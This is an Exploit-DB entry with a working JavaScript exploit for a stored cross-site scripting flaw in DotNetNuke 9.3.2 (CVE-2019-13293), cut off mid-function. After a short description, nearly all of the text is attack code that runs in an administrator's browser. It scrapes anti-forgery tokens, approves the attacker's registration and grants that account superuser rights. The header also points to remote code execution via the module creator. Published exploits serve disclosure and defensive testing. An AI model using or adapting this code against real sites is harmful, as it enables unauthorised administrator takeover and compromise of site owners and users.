Exploit-DB #47449
Description: DotNetNuke 9.3.2 - Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2019-10-01
Author: Semen Alexandrovich Lyhin

Exploit:
/*
Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2
Date: 4th of July, 2019
Exploit Author: Semen Alexandrovich Lyhin
Vendor Homepage: https://www.dnnsoftware.com/
Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases
Version: v9.3.2
CVE : CVE-2019-13293

A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter. 
The administrator of the website will see a notification that a new user needs to be approved.
An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser.

This exploit adds the user, and grants him administrator priviliges. 

A native module "module creator" also allows remote code execution. 

*/



function ApproveNotification(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "NotificationId=" + id;
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function MakeSuperAdmin(baseurl, id) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl + "/Activity-Feed/Messages/";
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var post_params = "null"
				var x1 = new XMLHttpRequest();
				
				x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true");
				x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8");
				x1.setRequestHeader('RequestVerificationToken', token);
				x1.send(post_params);
				resolve();
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetNotification(baseurl, username, moduleid, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=[PII_REDACTED]17", true);
				x1.setRequestHeader('ModuleId', moduleid);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(JSON.parse(data));
						data = JSON.parse(data);
						
						for (var key in data['Notifications']){
							if (data['Notifications'][key]['Body'].includes(username)) {
								resolve((data['Notifications'][key]['NotificationId']));
							};
						}
						reject();
					}
				}
				x1.send(null);
			}
		}
		xhr.open('GET', url, true);
		xhr.send(null);
	});
}

function GetUserId(baseurl, username, tabid) {
	return new Promise(function (resolve, reject) {	
		var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/"
		var xhr = new XMLHttpRequest();
		xhr.onreadystatechange = function () {
			if (xhr.readyState == 4) {
				var data;
				if (!xhr.responseType === "text") {
					data = xhr.responseText;
				} else if (xhr.responseType === "document") {
					data = xhr.responseXML;
				} else {
					data = xhr.response;
				}

				var parser = new DOMParser();
				var resp = parser.parseFromString(data, "text/html");
				token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token
				
				var x1 = new XMLHttpRequest();
				
				x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true);
				x1.setRequestHeader('TabId', tabid);
				x1.onreadystatechange = () => {
					if (x1.readyState == 4) {
						if (!x1.responseType === "text") {
							data = x1.responseText;
						} else if (x1.responseType === "document") {
							data = x1.responseXML;
						} else {
							data = x1.response;
						}
						
						//console.log(data);